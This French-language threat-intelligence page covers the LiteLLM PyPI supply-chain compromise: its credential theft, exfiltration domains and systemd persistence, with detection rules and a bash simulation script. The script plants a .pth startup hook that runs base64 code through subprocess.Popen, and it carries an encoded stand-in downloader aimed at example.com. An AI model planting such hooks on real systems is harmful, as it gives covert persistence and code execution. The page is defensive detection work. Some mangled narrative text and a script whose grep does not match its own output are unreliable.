Votre Passerelle IA Était une Porte Dérobée : À l’intérieur de la Compromission de la Chaîne d’Approvisionnement LiteLLM
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une compromission de la chaîne d’approvisionnement a frappé le package Python largement utilisé LiteLLM sur PyPI. Les versions malveillantes 1.82.7 et 1.82.8 ont livré une charge utile en trois étapes conçue pour voler des identifiants de cloud, des clés SSH et des secrets Kubernetes, puis pivoter à l’intérieur des clusters et établir une porte dérobée persistante. L’activité est attribuée au groupe criminel TeamPCP et semble liée à des compromissions antérieures impliquant des outils de sécurité, y compris Trivy et Checkmarx.
Enquête
Les enquêteurs ont lié la chaîne d’intrusion à une Action GitHub Trivy compromise qui a exposé un jeton d’accès personnel, permettant une poussée forcée de versions contaminées de LiteLLM sur PyPI. L’examen du code a révélé un chargeur Python multicouche, lourd de Base64, qui utilisait RSA-4096 et AES-256 pour une mise en scène protégée et l’exfiltration vers des domaines contrôlés par l’attaquant. La charge utile a également créé des pods Kubernetes pour accéder au système de fichiers hôte et étendre la collecte. La réutilisation de l’infrastructure sur PyPI, npm, Docker Hub, GitHub Actions et OpenVSX indiquait une campagne coordonnée et multi-éco-systémique plutôt qu’un détournement de package isolé.
Atténuation
Bloquez les domaines malveillants identifiés, faites pivoter tous les identifiants potentiellement exposés et supprimez les artefacts LiteLLM_init.pth. Recherchez la persistance via l’unité utilisateur service systemd sysmon et enquêtez sur la création inattendue de fichiers .pth. Réduisez l’exposition à la chaîne d’approvisionnement en appliquant des installations vérifiées par hachage, en limitant ou en interdisant les comportements post-installation non revus et en appliquant un filtrage d’egress. Dans la mesure du possible, ajoutez une surveillance de l’empreinte JARM pour signaler le trafic associé aux ASN d’hébergement à l’épreuve des balles connus.
Réponse
Si une compromission est suspectée, isolez les systèmes affectés, terminez les processus Python malveillants et supprimez les packages LiteLLM trojanisés ainsi que tous les fichiers de persistance. Faites pivoter immédiatement tous les secrets récoltés, en priorisant les identifiants de cloud et les clés API. Déployez des détections pour les chaînes d’exécution Python encodées en Base64, les dépôts de fichiers .pth et l’activité HTTPS POST anormale vers models.litellm.cloud ou checkmarx.zone.
Mots-clés : LiteLLM, attaque de la chaîne d’approvisionnement, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, secrets Kubernetes, persistance .pth, vol d’identifiants, RSA-4096, AES-256, filtrage d’egress, empreinte JARM.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffd966 classDef service fill:#c0c0c0 %% Node Definitions Section action_initial_supply_chain["<b>Action</b> – <b>T1195.001 Compromettre les Dépendances Logicielles et les Outils de Développement</b><br/>L’adversaire a obtenu le jeton du bot Aqua Security via le workflow compromis Trivy GitHub Action"] class action_initial_supply_chain action tool_trivy_github_action["<b>Outil</b> – <b>Nom</b> : Trivy GitHub Action<br/><b>Description</b> : Workflow CI scannant les images de conteneurs"] class tool_trivy_github_action tool process_publish_malicious["<b>Processus</b> – Publier des versions malveillantes de LiteLLM sur PyPI"] class process_publish_malicious process technique_supply_chain_attack["<b>Technique</b> – <b>T1195.002 Compromettre la Chaîne d’Approvisionnement Logicielle</b><br/>Versions malveillantes de LiteLLM 1.82.7 et 1.82.8 poussées sur PyPI"] class technique_supply_chain_attack technique technique_python_execution["<b>Technique</b> – <b>T1059.006 Interprète de Commandes et Scripts : Python</b><br/>Fichier .pth chargé automatiquement au démarrage de l’interpréteur"] class technique_python_execution technique file_pth["<b>Fichier</b> – LiteLLM_init.pth<br/>Placé dans les site̩ʔpackages, chargé automatiquement par l’interpréteur Python"] class file_pth file technique_user_execution["<b>Technique</b> – <b>T1204.002 Exécution Utilisateur : Fichier Malveillant</b><br/>`pip install LiteLLM==1.82.8` déclenche l’exécution immédiate de la charge utile"] class technique_user_execution technique technique_credential_harvest["<b>Technique</b> – <b>T1552.001 Identifiants Dans les Fichiers</b><br/>Le collecteur lit les clés SSH, les configurations cloud, les fichiers .env, les identifiants de bases de données, les portefeuilles de cryptomonnaie"] class technique_credential_harvest technique technique_metadata["<b>Technique</b> – <b>T1552.005 Identifiants Non Sécurisés : API de Métadonnées d’Instance Cloud</b><br/>Interroge les services de métadonnées AWS, GCP et Azure pour des jetons IAM temporaires"] class technique_metadata technique technique_os_cred_dump["<b>Technique</b> – <b>T1003 Vidage des Identifiants du Système d’Exploitation</b><br/>Lit /etc/shadow et les journaux d’authentification pour obtenir des données d’identification"] class technique_os_cred_dump technique technique_obfuscation["<b>Technique</b> – <b>T1027 Fichiers ou Informations Obfusqués</b><br/>Plusieurs couches de base64, remplissage binaire, charges utiles dépouillées, résolution d’API dynamique, cryptage AES-256-CBC, encapsulation RSA-4096"] class technique_obfuscation technique technique_exfiltration["<b>Technique</b> – <b>T1041 Exfiltration via Canal C2</b><br/>Paquets d’identifiants cryptés envoyés via HTTPS POST à models.litellm.cloud"] class technique_exfiltration technique technique_web_service["<b>Technique</b> – <b>T1102.001 Service Web : Résolveur de « Dead Drop »</b><br/>La porte dérobée interroge checkmarx.zone/raw pour des charges utiles de second niveau et rapporte son état"] class technique_web_service technique technique_persistence["<b>Technique</b> – <b>T1543.002 Créer ou Modifier un Processus Système : Service Systemd</b><br/>Le service sysmon au niveau utilisateur est installé pour la persistance à travers les redémarrages"] class technique_persistence technique technique_container_lateral["<b>Technique</b> – <b>T1543.005 Créer ou Modifier un Processus Système : Service de Conteneur</b><br/>Des pods Kubernetes privilégiés sont créés avec accès au système de fichiers hôte pour un déplacement latéral à l’échelle du cluster"] class technique_container_lateral technique technique_remote_services["<b>Technique</b> – <b>T1133 Services Remotes Externes</b><br/>La porte dérobée permet l’exécution de commandes à distance via un sondeur C2"] class technique_remote_services technique technique_defense_evasion["<b>Technique</b> – <b>T1140 Déobfuscation/Décodage des Fichiers ou Informations</b><br/>Décodage à l’exécution de charges utiles multicouches pour éviter la détection statique"] class technique_defense_evasion technique %% Connections Section action_initial_supply_chain –>|utilise| tool_trivy_github_action tool_trivy_github_action –>|mène à| process_publish_malicious process_publish_malicious –>|entraîne| technique_supply_chain_attack technique_supply_chain_attack –>|permet| technique_python_execution technique_python_execution –>|charge| file_pth file_pth –>|déclenche| technique_user_execution technique_user_execution –>|cause| technique_credential_harvest technique_credential_harvest –>|exécute aussi| technique_metadata technique_metadata –>|combiné avec| technique_os_cred_dump technique_os_cred_dump –>|obfuscated by| technique_obfuscation technique_obfuscation –>|mène à| technique_exfiltration technique_exfiltration –>|utilise| technique_web_service technique_web_service –>|établit| technique_persistence technique_persistence –>|permet| technique_container_lateral technique_container_lateral –>|soutient| technique_remote_services technique_remote_services –>|facilite| technique_defense_evasion "
Flux d’attaque
Détections
Chiffrement ou Déchiffrement Probable de Fichiers avec OpenSSL [Linux] (via cmdline)
Voir
Une Archive a été Créée dans le Dossier Tmp de Linux (via file_event)
Voir
Utilisation Suspecte de CURL (via cmdline)
Voir
Une Archive a été Créée dans le Dossier Temporaire de MacOS (via file_event)
Voir
Chiffrement ou Déchiffrement Probable de Fichiers avec OpenSSL [MacOS] (via cmdline)
Voir
Un Fichier de Hook de Configuration Spécifique au Site a Peut-être Été Créé (via file_event)
Voir
Packages Python Malveillants IOCs (via cmdline)
Voir
Tentative d’Exécution Suspecte de Curl [MacOS] (via cmdline)
Voir
Création de Fichier de Service dans le Dossier Systemd (via file_event)
Voir
IOCs (DestinationIP) à détecter : Votre Passerelle AI Était une Porte Dérobée : Dans la Compromission de la Chaîne d’Approvisionnement de LiteLLM
Voir
IOCs (SourceIP) à détecter : Votre Passerelle AI Était une Porte Dérobée : Dans la Compromission de la Chaîne d’Approvisionnement de LiteLLM
Voir
Package LiteLLM Malveillant Détecté via .pth File et Usage de subprocess.Popen [Création de Processus Linux]
Voir
Exfiltration et Communication C2 via Domaines Malveillants dans l’Attaque de la Chaîne d’Approvisionnement de LiteLLM [Pare-feu]
Voir
Exécution de Simulation
Condition Préalable : Le Contrôle de Pré‑vol de la Télémétrie et de la Base de Référence doit avoir réussi.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront des erreurs de diagnostic.
-
Récit de l’Attaque & Commandes :
Un attaquant qui a compromis le publicLiteLLMpackage PyPI injecte un.pthfichier malveillant nomméLiteLLM_init.pth. Le fichier est placé dans le répertoire site‑packages global, assurant qu’il est traité à chaque démarrage any de l’interpréteur Python. Le.pthcontient une seule ligne qui exécute une charge utile encodée en base64 viasubprocess.Popen. La charge utile télécharge un outil de second niveau à partir d’un serveur C2 via HTTPS (T1071.001) et écrit les identifiants volés dans/tmp/creds.txt(T1552.*). En utilisant le hook de démarrage de l’interpréteur, l’attaquant obtient une persistance sans modifier les unités systemd, évitant de nombreuses bases de référence de création de processus traditionnelles.Les étapes simulées sont :
- Créer le fichier
.pth.pth malveillant avec du code Python incorporé. - Déclencher le démarrage de l’interpréteur Python (par exemple,
python3 -c "import sys"), provoquant l’exécution du.pthLa ligne de code embarquée - décodant la charge utile base64 et la lançant avec , générant un processus dont la ligne de commande contient à la fois
subprocess.PopenÀ partir du chemin d’importation de l’interpréteurLiteLLM_init.pthScript de Test de Régression :subprocess.Popen.
- Créer le fichier
-
Le script ci-dessous automatise toute la simulation d’attaque sur l’hôte de test Ubuntu.
#!/usr/bin/env bash set -euo pipefail # ———- 1. Construire la charge utile .pth malveillante ———- MALICIOUS_PTH_PATH= »/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth » PAYLOAD_B64= »aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p » # Ci-dessus se décode à un petit script python qui téléchargerait une charge utile de second niveau. # Pour la sécurité dans un environnement de test, nous le remplaçons par une commande echo inoffensive. PAYLOAD_B64=$(echo -n « import subprocess,base64; subprocess.Popen([‘bash’,’-c’,’echo exécuté malveillant >> /tmp/malicious.log’], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) » | base64 -w0) # Écrire le fichier .pth – la ligne est exécutée en tant que code Python lors du démarrage de l’interpréteur echo « exec(‘import base64, subprocess; subprocess.Popen(base64.b64decode(« ${PAYLOAD_B64} »), shell=True)’) » | sudo tee « ${MALICIOUS_PTH_PATH} » >/dev/null echo « [+] Fichier .pth malveillant créé au chemin ${MALICIOUS_PTH_PATH} » # ———- 2. Déclencher le démarrage de l’interpréteur (génère de la télémétrie) ———- echo « [+] Déclenchement de l’interpréteur Python pour charger .pth… » python3 -c « import sys; print(‘trigger’) » # ———- 3. Vérifier que la charge utile s’est exécutée ———- if grep -q « malicious executed » /tmp/malicious.log; then echo « [+] La charge utile s’est exécutée avec succès – la détection devrait s’allumer. » else echo « [-] La charge utile NE s’est PAS exécutée – vérifiez le placement et les permissions du .pth. » fi#!/usr/bin/env bash set -euo pipefail # ---------- 1. Build malicious .pth payload ---------- MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p" # The above decodes to a tiny python script that would download a second‑stage payload. # For safety in a test environment we replace it with a harmless echo command. PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0) # Write the .pth file – the line is executed as Python code during interpreter start‑up echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null echo "[+] Malicious .pth file created at ${MALICIOUS_PTH_PATH}" # ---------- 2. Trigger interpreter start (generates telemetry) ---------- echo "[+] Triggering Python interpreter to load .pth..." python3 -c "import sys; print('trigger')" # ---------- 3. Verify that the payload ran ---------- if grep -q "malicious executed" /tmp/malicious.log; then echo "[+] Payload executed successfully – detection should fire." else echo "[-] Payload did NOT execute – check .pth placement and permissions." fi -
Commandes de Nettoyage :
#!/usr/bin/env bash set -euo pipefail MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" # Supprimer le fichier .pth malveillant if sudo test -f "${MALICIOUS_PTH_PATH}"; then sudo rm -f "${MALICIOUS_PTH_PATH}" echo "[+] Fichier .pth malveillant supprimé." fi # Supprimer le fichier de preuves créé par la charge utile if test -f "/tmp/malicious.log"; then sudo rm -f "/tmp/malicious.log" echo "[+] /tmp/malicious.log nettoyé." fi # Optionnellement, supprimer la règle d'audit (si vous avez ajouté une règle de test dédiée) # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation